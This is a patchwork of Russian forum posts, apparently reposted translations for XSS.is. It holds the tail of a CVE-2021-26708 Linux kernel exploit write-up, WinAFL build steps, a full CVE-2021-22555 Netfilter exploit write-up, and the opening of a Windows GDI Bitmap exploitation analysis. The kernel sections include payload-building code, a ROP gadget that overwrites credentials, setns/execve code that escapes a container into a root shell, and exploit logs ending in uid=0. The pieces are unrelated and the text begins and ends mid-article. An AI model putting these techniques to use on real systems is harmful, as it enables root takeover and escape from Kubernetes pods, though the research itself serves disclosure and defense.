Я должен отметить, что эта часть с use-after-free на sk_buff является основным источником нестабильности эксплойта.Было бы неплохо найти лучший объект ядра, который можно было бы разместить в кэше слэб kmalloc- * и использовать для превращения использования после освобождения в произвольное чтение/запись памяти ядра.
Произвольная запись с помощью skb_shared_info
Давайте посмотрим на код, который подготавливает полезную нагрузку для перезаписи объекта sk_buff:
C:Copy to clipboard
#define SKB_SIZE 4096
#define SKB_SHINFO_OFFSET 3776
#define MY_UINFO_OFFSET 256
#define SKBTX_DEV_ZEROCOPY (1 << 3)
void prepare_xattr_vs_skb_spray(void)
{
struct skb_shared_info *info = NULL;
xattr_addr = spray_data + PAGE_SIZE * 4 - SKB_SIZE + 4;
/* Don't touch the second part to avoid breaking page fault delivery */
memset(spray_data, 0x0, PAGE_SIZE * 4);
info = (struct skb_shared_info *)(xattr_addr + SKB_SHINFO_OFFSET);
info->tx_flags = SKBTX_DEV_ZEROCOPY;
info->destructor_arg = uaf_write_value + MY_UINFO_OFFSET;
uinfo_p = (struct ubuf_info *)(xattr_addr + MY_UINFO_OFFSET);
Структура skb_shared_info находится в обработанных данных точно по смещению SKB_SHINFO_OFFSET, которое составляет 3776 байт. Указатель skb_shared_info.destructor_arg хранит адрес ubuf_info. Я создаю поддельный ubuf_info в MY_UINFO_OFFSET в самом сетевом буфере. Это возможно, поскольку известен адрес ядра атакуемого sk_buff. Вот макет полезной нагрузки:
Теперь поговорим о обратном вызове destructor_arg:
C:Copy to clipboard
/*
* A single ROP gadget for arbitrary write:
* mov rdx, qword ptr [rdi + 8] ; mov qword ptr [rdx + rcx*8], rsi ; ret
* Here rdi stores uinfo_p address, rcx is 0, rsi is 1
*/
uinfo_p->callback = ARBITRARY_WRITE_GADGET + kaslr_offset;
uinfo_p->desc = owner_cred + CRED_EUID_EGID_OFFSET; /* value for "qword ptr [rdi + 8]" */
uinfo_p->desc = uinfo_p->desc - 1; /* rsi value 1 should not get into euid */
Я изобрел очень странный примитив произвольной записи, который вы можете увидеть здесь. Я не смог найти гаджет разворота стека в vmlinuz-5.10.11-200.fc33.x86_64, который работал бы с моими ограничениями ... поэтому я выполнил произвольную запись одним выстрелом
Указатель функции обратного вызова хранит адрес одного гаджета ROP. Регистр RDI хранит первый аргумент функции обратного вызова, который является адресом самой ubuf_info. Итак, RDI + 8 указывает на ubuf_info.desc. Гаджет перемещает ubuf_info.desc в RDX. Теперь RDX содержит адрес эффективного идентификатора пользователя и идентификатора группы за вычетом одного байта. Этот байт важен: когда гаджет записывает qword с 1 из RSI в память, на которую указывает RDX, эффективные uid и gid перезаписываются нулями.
Затем такая же процедура повторяется для uid и gid. Привилегии повышаются до root. Игра окончена.
Вывод эксплойта, отображающий всю процедуру:
[a13x@localhost ~]$ ./vsock_pwn
=================================================
==== CVE-2021-26708 PoC exploit by a13xp0p0v ====[+] begin as: uid=1000, euid=1000
[+] we have 2 CPUs for racing
[+] getting ready...
[+] remove old files for ftok()
[+] spray_data at 0x7f0d9111d000
[+] userfaultfd #1 is configured: start 0x7f0d91121000, len 0x1000
[+] fault_handler for uffd 38 is ready[+] stage I: collect good msg_msg locations
[+] go racing, show wins:
save msg_msg ffff9125c25a4d00 in msq 11 in slot 0
save msg_msg ffff9125c25a4640 in msq 12 in slot 1
save msg_msg ffff9125c25a4780 in msq 22 in slot 2
save msg_msg ffff9125c3668a40 in msq 78 in slot 3[+] stage II: arbitrary free msg_msg using corrupted msg_msg
kaddr for arb free: ffff9125c25a4d00
kaddr for arb read: ffff9125c2035300
[+] adapt the msg_msg spraying payload:
msg_ptr 0x7f0d91120fd8
m_type 1337 at 0x7f0d91120fe8
m_ts 6096 at 0x7f0d91120ff0
msgseg next 0xffff9125c2035300 at 0x7f0d91120ff8
[+] go racing, show wins:[+] stage III: arbitrary read vsock via good overwritten msg_msg (msq 11)
[+] msgrcv returned 6096 bytes
[+] Found sk_memcg ffff9125c42f9000 (offset 4712 in the leaked kmem)
[+] Found owner cred ffff9125c3fd6e40 (offset 4888 in the leaked kmem)
[+] Found sock_def_write_space ffffffffab9851b0 (offset 4736 in the leaked kmem)
[+] Calculated kaslr offset: 2a000000[+] stage IV: search sprayed skb near sk_memcg...
[+] checking possible skb location: ffff9125c42fa000
[+] stage IV part I: repeat arbitrary free msg_msg using corrupted msg_msg
kaddr for arb free: ffff9125c25a4640
kaddr for arb read: ffff9125c42fa030
[+] adapt the msg_msg spraying payload:
msg_ptr 0x7f0d91120fd8
m_type 1337 at 0x7f0d91120fe8
m_ts 6096 at 0x7f0d91120ff0
msgseg next 0xffff9125c42fa030 at 0x7f0d91120ff8
[+] go racing, show wins: 0 0 20 15 42 11
[+] stage IV part II: arbitrary read skb via good overwritten msg_msg (msq 12)
[+] msgrcv returned 6096 bytes
[+] found a real skb[+] stage V: try to do UAF on skb at ffff9125c42fa000
[+] skb payload:
start at 0x7f0d91120004
skb_shared_info at 0x7f0d91120ec4
tx_flags 0x8
destructor_arg 0xffff9125c42fa100
callback 0xffffffffab64f6d4
desc 0xffff9125c3fd6e53
[+] go racing, show wins: 15[+] stage VI: repeat UAF on skb at ffff9125c42fa000
[+] go racing, show wins: 0 12 13 15 3 12 4 16 17 18 9 47 5 12 13 9 13 19 9 10 13 15 12 13 15 17 30[+] finish as: uid=0, euid=0
[+] starting the root shell...
uid=0(root) gid=0(root) groups=0(root)Click to expand...
Возможные способы защиты от эксплойтов
_**Некоторые технологии могут предотвратить использование CVE-2021-26708 или, по крайней мере, усложнить его.
- Использование этой уязвимости невозможно с помощью карантина кучи ядра Linux, так как повреждение памяти происходит вскоре после состояния гонки. О моем прототипе SLAB_QUARANTINE читайте в отдельной статье.
- MODHARDEN из патча grsecurity предотвращает автозагрузку модуля ядра непривилегированными пользователями.
- Установка /proc/sys/vm/ unprivileged_userfaultfd на 0 заблокирует описанный метод сохранения полезной нагрузки в пространстве ядра. Этот переключатель ограничивает использование userfaultfd() только привилегированными пользователями (с возможностью SYS_CAP_PTRACE).
- Установка для kernel.dmesg_restrict sysctl значения 1 блокирует утечку информации через журнал ядра. Этот sysctl ограничивает возможность непривилегированных пользователей читать системный журнал ядра через dmesg.
- Целостность потока управления может помешать вызову моего устройства ROP. Вы можете увидеть эти технологии на карте защиты ядра Linux, которую я поддерживаю.
- Будем надеяться, что в будущих версиях ядра Linux будет поддержка расширения ARM Memory Tagging Extension (MTE) для смягчения последствий использования после освобождения на ARM.
- До меня доходили слухи под названием AUTOSLAB. Мы мало что знаем об этом. Предположительно, это заставляет Linux выделять объекты ядра в отдельные кэши слэба в зависимости от типа объекта. Это может испортить технику распыления кучи, которую я активно использую в этом эксплойте.
- Кис Кук отметил, что установка sysctl panic_on_warn в 1 нарушит атаку. Да, это превращает возможное повышение привилегий в отказ в обслуживании. Для записи, я НЕ рекомендую включать panic_on_warn или CONFIG_PANIC_ON_OOPS в производственных системах, потому что это позволяет легко атаковать отказ в обслуживании (предупреждение ядра/упс - не редкая ситуация). Дополнительные сведения см. в документации моего проекта kconfig-hardened-check.**_
Заключительные слова
Исследование, исправление CVE-2021-26708 и разработка эксплойта PoC были интересным и утомительным путешествием.
Мне удалось превратить состояние гонки с очень ограниченным повреждением памяти в произвольное чтение/запись памяти ядра и повышение привилегий на сервере Fedora 33 для x86_64, минуя SMEP и SMAP. В ходе этого исследования я создал несколько новых уловок по эксплуатации уязвимостей для ядра Linux.
Я считаю, что написание этой статьи важно для сообщества разработчиков ядра Linux как способ придумать новые идеи для улучшения безопасности ядра. Надеюсь, вам понравилось это читать!
И, конечно же, я благодарю Positive Technologies за предоставленную мне возможность поработать над этим исследованием.
Переведено специально для XSS.is
Автор перевода: yashechka
Источник:https://a13xp0p0v.github.io/2021/02/09/CVE-2021-26708.html
И так...
Создаем папку «my_winafl_fuzz
» на диске С:\
и распаковываем туда DynamoRIO
v8.0.0.1.
git clone --recursive https://github.com/googleprojectzero/winafl.git
Почему именно так? Потому что, если папка «third_party
» будет пуста, то
WinAFL не соберется...
cd C:\my_winafl_fuzz\winafl
mkdir build64 && cd build64
cmake -G"Visual Studio 15 2017" -A x64 .. -DDynamoRIO_DIR=C:\my_winafl_fuzz\DynamoRIO-Windows-8.0.0-1\cmake -DINTELPT=1
cmake --build . --config Release
В итоге сбилденный WinAFL с новым DynamoRIO v8.0.0.1 будет находиться в папке Release
Вот путь
C:\my_winafl_fuzz\winafl\build64\bin\Release
Теперь сделаем билд для x86, в целом проделываем тоже самое
mkdir build32 && cd build32
cmake -G"Visual Studio 15 2017" -A Win32 .. -DDynamoRIO_DIR=C:\my_winafl_fuzz\DynamoRIO-Windows-8.0.0-1\cmake -DINTELPT=1
cmake --build . --config Release
Путь для x86
C:\my_winafl_fuzz\winafl\build32\bin\Release
Со сборкой у нас всё покончено... Мы имеем на данный момент как 32 битный билд так и 64 битный билд.
C:\my_winafl_fuzz\winafl\build64\bin\Release
C:\my_winafl_fuzz\winafl\build32\bin\Release
Кстати для сборки я использовал Windows SDK version 10.0.18362.0 на Windows 10.0.19041.
Чтобы запустить WinAFL на тест вводим следующие команды
C:\my_winafl_fuzz\DynamoRIO-Windows-8.0.0-1\bin64\drrun.exe -c winafl.dll -debug -target_module test_gdiplus.exe -target_offset 0x10e0 -fuzz_iterations 5 -nargs 2 -- test_gdiplus.exe 1.bmp
Прежде, чем запускать вторую команду, надо создать папку "in" в C:\my_winafl_fuzz\winafl\build64\bin\Release и скопировать в папку "in" bmp файл из папки C:\my_winafl_fuzz\winafl\testcases\images\bmp, переименовав его в 1.bmp
afl-fuzz.exe -i in -o out -D C:\my_winafl_fuzz\DynamoRIO- Windows-8.0.0-1\bin64\ -t 20000+ -- -coverage_module gdiplus.dll -target_module test_gdiplus.exe -target_offset 0x10e0 -fuzz_iterations 20 -nargs 2 -- test_gdiplus.exe @@
CVE-2021-22555 - это уязвимость записи за пределами кучи в Linux Netfilter, возникшая 15 лет назад, которая достаточно мощная, чтобы обойти все современные меры безопасности и добиться выполнения кода ядра. Она была использована для того, чтобы сломать изоляцию kubernetes под кластера kCTF и выиграть 10000 долларов на благотворительность.
[ https://google.github.io/security- research/pocs/linux/cve-2021-22555/images/poc.gif ](https://google.github.io/security- research/pocs/linux/cve-2021-22555/images/poc.gif)
Введение
После BleedingTooth (<https://google.github.io/security- research/pocs/linux/bleedingtooth/writeup.html>), когда я впервые заглянул в Linux, я также захотел найти уязвимость повышения привилегий. Я начал с изучения старых уязвимостей, таких как CVE-2016-3134 и CVE-2016-4997, которые вдохновили меня на использование grep для memcpy() и memset() в коде Netfilter. Это привело меня к некоторому бажному коду.
Уязвимость
Когда IPT_SO_SET_REPLACE или IP6T_SO_SET_REPLACE вызывается в режиме совместимости, который требует возможности CAP_NET_ADMIN, которая, однако, может быть получена в пространстве имен user + network, структуры должны быть преобразованы из пользовательского в ядро, а также из 32-битного в 64-битный, чтобы они обрабатывались нативными функцииями. Естественно, это неизбежно приведет к ошибкам. Наша уязвимость находится в xt_compat_target_from_user(), где memset() вызывается со смещением target->targetize, которое не учитывается во время выделения, что приводит к записи нескольких байтов за пределы памяти:
C:Copy to clipboard
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/netfilter/x_tables.c
void xt_compat_target_from_user(struct xt_entry_target *t, void **dstptr,
unsigned int *size)
{
const struct xt_target *target = t->u.kernel.target;
struct compat_xt_entry_target *ct = (struct compat_xt_entry_target *)t;
int pad, off = xt_compat_target_offset(target);
u_int16_t tsize = ct->u.user.target_size;
char name[sizeof(t->u.user.name)];
t = *dstptr;
memcpy(t, ct, sizeof(*ct));
if (target->compat_from_user)
target->compat_from_user(t->data, ct->data);
else
memcpy(t->data, ct->data, tsize - sizeof(*ct));
pad = XT_ALIGN(target->targetsize) - target->targetsize;
if (pad > 0)
memset(t->data + target->targetsize, 0, pad);
tsize += off;
t->u.user.target_size = tsize;
strlcpy(name, target->name, sizeof(name));
module_put(target->me);
strncpy(t->u.user.name, name, sizeof(t->u.user.name));
*size += off;
*dstptr += tsize;
}
Targetsize не контролируется пользователем, но можно выбрать разные цели с разными размерами структуры по имени (например, TCPMSS, TTL или NFQUEUE). Чем больше размер цели, тем больше мы можем варьировать смещение. Тем не менее, целевой размер не должен быть выровнен на 8 байтов, чтобы заполнить pad > 0. Самый большой из возможных, который я нашел, - это NFLOG, для которого мы можем выбрать смещение до 0x4C байтов за пределами границ (на смещение можно повлиять, добавив отступ между struct xt_entry_match и struct xt_entry_target):
C:Copy to clipboard
struct xt_nflog_info {
/* 'len' will be used iff you set XT_NFLOG_F_COPY_LEN in flags */
__u32 len;
__u16 group;
__u16 threshold;
__u16 flags;
__u16 pad;
char prefix[64];
};
Обратите внимание, что место назначения буфера выделяется с помощью GFP_KERNEL_ACCOUNT и также может варьироваться по размеру:
C:Copy to clipboard
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/net/netfilter/x_tables.c
struct xt_table_info *xt_alloc_table_info(unsigned int size)
{
struct xt_table_info *info = NULL;
size_t sz = sizeof(*info) + size;
if (sz < sizeof(*info) || sz >= XT_MAX_TABLE_SIZE)
return NULL;
info = kvmalloc(sz, GFP_KERNEL_ACCOUNT);
if (!info)
return NULL;
memset(info, 0, sizeof(*info));
info->size = size;
return info;
}
Хотя минимальный размер > 0x100, что означает, что наименьший слаб, в которой может быть размещен этот объект, - kmalloc-512. Другими словами, мы должны найти жертв, которые распределены между kmalloc-512 и kmalloc-8192 для использования.
Эксплуатация
Наш примитив ограничен записью четырех байтов от нуля до 0x4C байтов за пределы памяти. При таком примитиве обычными целями являются:
-Счетчик ссылок
К сожалению, мне не удалось найти подходящих объектов со счетчиком ссылок в первых байтах 0x4C.
-Свободный указатель на список
CVE-2016-6187: Поочередное использование кучи ядра Linux - хороший пример того, как использовать указатель на список свободных мест. Однако это было уже 5 лет назад, а между тем в ядрах включена опция CONFIG_SLAB_FREELIST_HARDENED, которая, помимо прочего, защищает указатели свободных списков.
-Указатель в структуре
Это наиболее многообещающий подход, однако четыре нулевых байта - это слишком много для записи. Например, указатель 0xffff91a49cb7f000 может быть преобразован только в 0xffff91a400000000 или 0x9cb7f000, где оба они, вероятно, будут недопустимыми указателями. С другой стороны, если бы мы использовали примитив для записи в самом начале соседнего блока, мы могли бы записать меньше байтов, например 2 байта, и, например, повернув указатель с 0xffff91a49cb7f000 на 0xffff91a49cb70000.
Играя с некоторыми объектами-жертвами, я заметил, что никогда не смогу надежно разместить их вокруг struct xt_table_info в ядре 5.4. Я понял, что это как-то связано с флагом GFP_KERNEL_ACCOUNT, поскольку другие объекты, выделенные с помощью GFP_KERNEL_ACCOUNT, не имели этой проблемы. Янн Хорн подтвердил, что до версии 5.9 для ведения аккаунтинга использовались отдельные слабы. Следовательно, каждый примитив кучи, который мы используем в цепочке эксплойтов, также должен использовать GFP_KERNEL_ACCOUNT.
Системный вызов msgsnd() - это хорошо известный примитив для распыления кучи (который использует GFP_KERNEL_ACCOUNT) и уже использовался для нескольких общедоступных эксплойтов. Хотя удивительно, что его структура msg_msg никогда не подвергалась злоупотреблениям. В этой статье мы продемонстрируем, как можно злоупотребить этой структурой данных, чтобы получить примитив использования после освобождения, который, в свою очередь, можно использовать для утечки адресов и подделки других объектов. По совпадению, параллельно с моим исследованием в марте 2021 года Александр Попов также исследовал ту же самую структуру в Four Bytes of Power: CVE-2021-26708 в ядре Linux.
Изучение структуры msg_msg
При отправке данных с помощью msgsnd () полезная нагрузка разделяется на несколько сегментов:
C:Copy to clipboard
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/ipc/msgutil.c
static struct msg_msg *alloc_msg(size_t len)
{
struct msg_msg *msg;
struct msg_msgseg **pseg;
size_t alen;
alen = min(len, DATALEN_MSG);
msg = kmalloc(sizeof(*msg) + alen, GFP_KERNEL_ACCOUNT);
if (msg == NULL)
return NULL;
msg->next = NULL;
msg->security = NULL;
len -= alen;
pseg = &msg->next;
while (len > 0) {
struct msg_msgseg *seg;
cond_resched();
alen = min(len, DATALEN_SEG);
seg = kmalloc(sizeof(*seg) + alen, GFP_KERNEL_ACCOUNT);
if (seg == NULL)
goto out_err;
*pseg = seg;
seg->next = NULL;
pseg = &seg->next;
len -= alen;
}
return msg;
out_err:
free_msg(msg);
return NULL;
}
где заголовки для структуры msg_msg и структуры msg_msgseg:
C:Copy to clipboard
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/msg.h
/* one msg_msg structure for each message */
struct msg_msg {
struct list_head m_list;
long m_type;
size_t m_ts; /* message text size */
struct msg_msgseg *next;
void *security;
/* the actual message follows immediately */
};
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/types.h
struct list_head {
struct list_head *next, *prev;
};
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/ipc/msgutil.c
struct msg_msgseg {
struct msg_msgseg *next;
/* the next part of the message follows immediately */
};
Первый член в msg_msg - это указатель mlist.next, который указывает на другое сообщение в очереди (которое отличается от следующего, поскольку это указатель на следующий сегмент). Как вы узнаете дальше, это идеальный кандидат на повреждение.
Получение use-after-free
Сначала мы инициализируем множество очередей сообщений (в нашем случае 4096) с помощью msgget(). Затем мы отправляем одно сообщение размером 4096 (включая заголовок msg_msg) для каждой очереди сообщений с помощью msgsnd(), которую мы будем называть основным сообщением. В конце концов, после большого количества сообщений у нас есть несколько последовательных:
Затем мы отправляем вторичное сообщение размером 1024 для каждой очереди сообщений с помощью msgsnd ():
Наконец, мы создаем несколько дыр (в нашем случае каждые 1024-е) в первичных сообщениях и запускаем уязвимую опцию setsockopt (IPT_SO_SET_REPLACE), которая в лучшем случае разместит объект xt_table_info в одной из дыр:
Мы решили перезаписать два байта соседнего объекта нулями. Предположим, что мы примыкаем к другому первичному сообщению, эти байты, которые мы перезаписываем, являются частью указателя на вторичное сообщение. Поскольку мы выделяем им размер 1024 байта, у нас есть шанс 1 -(1024/65536) перенаправить указатель (единственный случай, когда мы терпим неудачу, - это когда два младших байта указателя уже равны нулю).
Теперь лучший сценарий, на который мы можем надеяться - это тот, что управляемый указатель также указывает на вторичное сообщение, поскольку следствием этого будут два разных первичных сообщения, указывающих на одно и то же вторичное сообщение, и это может привести к использованию после освобождения:
Однако как узнать, какие два основных сообщения указывают на одно и то же вторичное сообщение? Чтобы ответить на этот вопрос, мы помечаем каждое (первичное и вторичное) сообщение индексом очереди сообщений, который находится в диапазоне [0, 4096). Затем, после запуска повреждения, мы перебираем все очереди сообщений, просматриваем все сообщения с помощью msgrcv() с MSG_COPY и проверяем, совпадают ли они. Если тег основного сообщения отличается от вторичного сообщения, это означает, что оно было перенаправлено. В этом случае тег основного сообщения представляет собой индекс очереди поддельных сообщений, т. е. тот, который содержит неправильное вторичное сообщение, а тег неправильного вторичного сообщения представляет индекс реальной очереди сообщений. Зная эти два индекса, достижение use-after- free теперь тривиально - мы извлекаем вторичное сообщение из реальной очереди сообщений с помощью msgrcv() и, как таковое, освобождаем его:
Обратите внимание, что у нас все еще есть ссылка на освобожденное сообщение в очереди поддельных сообщений.
Обход SMAP
Используя сокеты unix (которые можно легко настроить с помощью socketpair()), мы теперь распыляем множество сообщений размером 1024 и имитируем заголовок struct msg_msg. В идеале мы можем вернуть адрес ранее освобожденного сообщения:
Обратите внимание, что mlist.next - 41414141, поскольку мы еще не знаем никаких адресов ядра (когда SMAP включен, мы не можем указать адрес пользователя). Отсутствие адреса ядра имеет решающее значение, поскольку фактически мешает нам снова освободить блок (позже вы узнаете, почему это необходимо). Причина в том, что во время msgrcv() сообщение отключается от очереди сообщений, которая является циклическим списком. К счастью, у нас есть хорошие возможности для утечки информации, так как в msg_msg есть несколько интересных полей. А именно, поле m_ts используется для определения, сколько данных вернуть в пользовательское пространство:
Исходный размер сообщения составляет всего 1024 байта sizeof(struct msg_msg), который теперь мы можем искусственно увеличить до DATALEN_MSG = 4096-sizeof (struct msg_msg). Как следствие, теперь мы сможем прочитать сообщение, превышающее предполагаемый размер, и пропустить заголовок struct msg_msg соседнего сообщения. Как было сказано ранее, очередь сообщений реализована как круговой список, таким образом, mlist.next указывает на основное сообщение.
Зная адрес основного сообщения, мы можем переработать фальшивую структуру msg_msg с этим адресом как следующим (что означает, что это следующий сегмент). Затем может произойти утечка содержимого основного сообщения при чтении байтов, превышающих DATALEN_MSG. Утечка указателя mlist.next из первичного сообщения показывает адрес вторичного сообщения, которое находится рядом с нашей фальшивой структурой msg_msg. Вычитая 1024 из этого адреса, мы наконец получаем адрес фальшивого сообщения.
Получение UAF
Теперь мы можем перестроить фальшивый объект struct msg_msg с просочившимся адресом как mlist.next и mlist.prev (что означает, что он указывает на себя), сделав фальшивое сообщение свободным от очереди фальшивых сообщений.
Обратите внимание, что при распылении с использованием сокетов unix у нас фактически есть объект struct sk_buff, который указывает на поддельное сообщение. Очевидно, это означает, что когда мы освобождаем фальшивое сообщение, у нас все еще остается устаревшая ссылка:
Этот устаревший буфер данных struct sk_buff является лучшим сценарием использования после освобождения, поскольку он не содержит информации заголовка, а это означает, что теперь мы можем использовать его для освобождения любого типа объекта на слэбе. Для сравнения, освобождение объекта struct msg_msg возможно только в том случае, если первые два члена являются записываемыми указателями (необходимыми для разрыва связи с сообщением).
Поиск жертвы
Лучшая жертва атаки - это жертва, в структуре которой есть указатель на функцию. Помните, что жертве также должен быть назначен GFP_KERNEL_ACCOUNT.
В беседе с Янном Хорном он предложил объект struct pipe_buffer, который размещен в kmalloc-1024 (поэтому вторичное сообщение имеет размер 1024 байта). Структуру pipe_buffer можно легко выделить с помощью pipe(), которая имеет alloc_pipe_info() в качестве подпрограммы:
C:Copy to clipboard
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/fs/pipe.c
struct pipe_inode_info *alloc_pipe_info(void)
{
...
unsigned long pipe_bufs = PIPE_DEF_BUFFERS;
...
pipe = kzalloc(sizeof(struct pipe_inode_info), GFP_KERNEL_ACCOUNT);
if (pipe == NULL)
goto out_free_uid;
...
pipe->bufs = kcalloc(pipe_bufs, sizeof(struct pipe_buffer),
GFP_KERNEL_ACCOUNT);
...
}
Хотя он не содержит напрямую указателя на функцию, он содержит указатель на struct pipe_buf_operations, который, с другой стороны, имеет указатели на функции:
C:Copy to clipboard
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/include/linux/pipe_fs_i.h
struct pipe_buffer {
struct page *page;
unsigned int offset, len;
const struct pipe_buf_operations *ops;
unsigned int flags;
unsigned long private;
};
struct pipe_buf_operations {
...
/*
* When the contents of this pipe buffer has been completely
* consumed by a reader, ->release() is called.
*/
void (*release)(struct pipe_inode_info *, struct pipe_buffer *);
...
};
Обход KASLR/SMEP
Когда кто-то пишет в каналы, заполняется struct pipe_buffer. Что наиболее важно, ops будет указывать на статическую структуру anon_pipe_buf_ops, которая находится в сегменте .data:
C:Copy to clipboard
// https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/tree/fs/pipe.c
static const struct pipe_buf_operations anon_pipe_buf_ops = {
.release = anon_pipe_buf_release,
.try_steal = anon_pipe_buf_try_steal,
.get = generic_pipe_buf_get,
};
Поскольку разница между сегментом .data и сегментом .text всегда одинакова, наличие anon_pipe_buf_ops в основном позволяет нам вычислить базовый адрес ядра.
Мы распыляем множество объектов struct pipe_buffer и восстанавливаем местоположение устаревшего буфера данных sk_buff:
Поскольку у нас все еще есть ссылка из struct sk_buff, мы можем прочитать его буфер данных, пропустить содержимое struct pipe_buffer и раскрыть адрес anon_pipe_buf_ops:
[+] anon_pipe_buf_ops: ffffffffa1e78380
[+] kbase_addr: ffffffffa0e00000
С этой информацией теперь мы можем найти гаджеты JOP/ROP. Обратите внимание, что при чтении из сокета unix мы фактически также освобождаем его буфер:
Повышение привилегий
Мы заменяем устаревшую структуру pipe_buffer фальшивой, где ops указывает на
фальшивую структуру pipe_buf_operations. Эта фальшивая структура
устанавливается в том же месте, поскольку мы знаем ее адрес, и, очевидно, эта
структура должна содержать указатель на вредоносную функцию в качестве релиза.
Заключительный этап эксплойта - закрыть все каналы, чтобы запустить релиз, который, в свою очередь, запустит цепочку JOP. Найти гаджеты JOP сложно, поэтому цель состоит в том, чтобы как можно скорее выполнить разворот стека ядра, чтобы выполнить цепочку ROP ядра.
ROP-цепочка ядра
Мы сохраняем значение RBP на некотором адресе блокнота в ядре, чтобы мы могли позже возобновить выполнение, затем мы вызываем commit_creds(prepare_kernel_cred (NULL)) для установки учетных данных ядра и, наконец, мы вызываем switch_task_namespaces(find_task_by_vpid (1), init_nsproxy) для переключения пространство имен процесса 1 в пространство имен процесса инициализации. После этого мы восстанавливаем значение RBP и возвращаемся, чтобы возобновить выполнение (что немедленно приведет к возврату free_pipe_info()).
Выход из контейнера и получение корневой оболочки
Вернувшись в пользовательскую среду, у нас теперь есть права root на изменение пространств имен mnt, pid и net, чтобы выйти из контейнера и выйти из модуля kubernetes. В конце концов, мы открываем корневую оболочку.
C:Copy to clipboard
setns(open("/proc/1/ns/mnt", O_RDONLY), 0);
setns(open("/proc/1/ns/pid", O_RDONLY), 0);
setns(open("/proc/1/ns/net", O_RDONLY), 0);
char *args[] = {"/bin/bash", "-i", NULL};
execve(args[0], args, NULL);
Доказательство концепции
Proof-Of-Concept доступен по адресу <https://github.com/google/security- research/tree/master/pocs/linux/cve-2021-22555>.
Выполнение его на уязвимой машине предоставит вам root:
**theflow@theflow:~$ gcc -m32 -static -o exploit exploit.c
theflow@theflow:~$ ./exploit
[+] Linux Privilege Escalation by theflow@ - 2021
[+] STAGE 0: Initialization
[] Setting up namespace sandbox...
[] Initializing sockets and message queues...
[+] STAGE 1: Memory corruption
[] Spraying primary messages...
[] Spraying secondary messages...
[] Creating holes in primary messages...
[] Triggering out-of-bounds write...
[*] Searching for corrupted primary message...
[+] fake_idx: ffc
[+] real_idx: fc4
[+] STAGE 2: SMAP bypass
[] Freeing real secondary message...
[] Spraying fake secondary messages...
[] Leaking adjacent secondary message...
[+] kheap_addr: ffff91a49cb7f000
[] Freeing fake secondary messages...
[] Spraying fake secondary messages...
[] Leaking primary message...
[+] kheap_addr: ffff91a49c7a0000
[+] STAGE 3: KASLR bypass
[] Freeing fake secondary messages...
[] Spraying fake secondary messages...
[] Freeing sk_buff data buffer...
[] Spraying pipe_buffer objects...
[*] Leaking and freeing pipe_buffer object...
[+] anon_pipe_buf_ops: ffffffffa1e78380
[+] kbase_addr: ffffffffa0e00000
[+] STAGE 4: Kernel code execution
[] Spraying fake pipe_buffer objects...
[] Releasing pipe_buffer objects...
[*] Checking for root...
[+] Root privileges gained.
[+] STAGE 5: Post-exploitation
[] Escaping container...
[] Cleaning up...
[*] Popping root shell...
root@theflow:/# id
uid=0(root) gid=0(root) groups=0(root)
root@theflow:/#
Тайм-лайн**
2021-04-06 - Сообщение об уязвимости отправлено по
адресуsecurity@kernel.org.
2021-04-13 - Патч объединен в апстриме.
2021-07-07 - Публичное раскрытие.
Переведено специально для XSS.is
Автор перевода: yashechka
Источник: <https://google.github.io/security-
research/pocs/linux/cve-2021-22555/writeup.html>
Учитывая популярность объектов GDI Bitmap для эксплуатации уязвимостей ядра -
из-за того, что практически любой вид уязвимости, связанной с повреждением
памяти (за исключением записи NULL), может быть использован для надежного
получения произвольных примитивов чтения/записи в памяти ядра путем
злоупотребления Bitmap - Microsoft решила убить технику эксплуатации,
основанную на bitmap. Для этого в Windows 10 Fall Creators Update (также
известном как Windows 10 1709) была введена функция изоляции типов,
предотвращение эксплуатации в подсистеме Win32k, которая разделяет структуру
памяти объектов SURFACE, внутреннее представление bitmap в ядре. В этом посте
подробно рассказывается о том, как реализована изоляция типов.
**
Примечание**
Первоначально этот анализ проводился с использованием win32kbase.sys
версии
10.0.16288.1
в Windows 10 Fall Creators Update x64, которая была одной из
последних сборок Insider Preview перед выпуском общедоступной Windows 10 1709
в октябре 2017 года. Выполнение бинарного сравнения между указанной версией и
последняя версия win32kbase.sys
10.0.16299.125
, доступная на момент
написания этой статьи (конец января 2018 г.), показывает, что функции,
относящиеся к изоляции типов, остаются неизменными.
Контекст
С середины 2015 года Bitmaps [1], тип объектов GDI, был предпочтительным
выбором разработчиков эксплойтов при эксплуатации уязвимостей ядра в Windows.
Оказалось, что структура данных, представляющая этот тип объекта в ядре
Windows, имеет несколько очень удобных элементов, которые при повреждении из-
за уязвимости памяти могут предоставить злоумышленнику полноценный доступ для
чтения/записи к адресному пространству ядра.
На стороне ядра Bitmap представлен объектом SURFACE
со следующей структурой:
C++:Copy to clipboard
typedef struct _SURFACE {
BASEOBJECT BaseObject;
SURFOBJ surfobj;
[...]
}
BASEOBJECT является общим для нескольких типов объектов и определяется следующим образом:
C++:Copy to clipboard
typedef struct _BASEOBJECT {
HANDLE hHmgr;
ULONG ulShareCount;
USHORT cExclusiveLock;
USHORT BaseFlags;
PVOID Tid;
} BASEOBJECT, *PBASEOBJECT;
Но нас интересует специфическая для SURFACE структура, которая называется SURFOBJ, и определяется она следующим образом:
C++:Copy to clipboard
typedef struct _SURFOBJ {
DHSURF dhsurf;
HSURF hsurf;
DHPDEV dhpdev;
HDEV hdev;
SIZEL sizlBitmap;
ULONG cjBits;
PVOID pvBits;
PVOID pvScan0;
LONG lDelta;
ULONG iUniq;
ULONG iBitmapFormat;
USHORT iType;
USHORT fjBitmap;
} SURFOBJ, *PSURFOBJ;
Двумя наиболее интересными членами этой структуры являются pvScan0
, который
указывает на буфер, содержащий данные пикселей bitmap, и sizlBitmap
, который
содержит размеры (ширину и высоту) bitmap.
Есть два основных способа использовать объекты SURFACE в целях эксплуатации, повредив элементы, упомянутые ранее:
GetBitmapBits
, и SetBitmapBits
GDI API работают с буфером данных пикселей, на который указывает член pvScan0
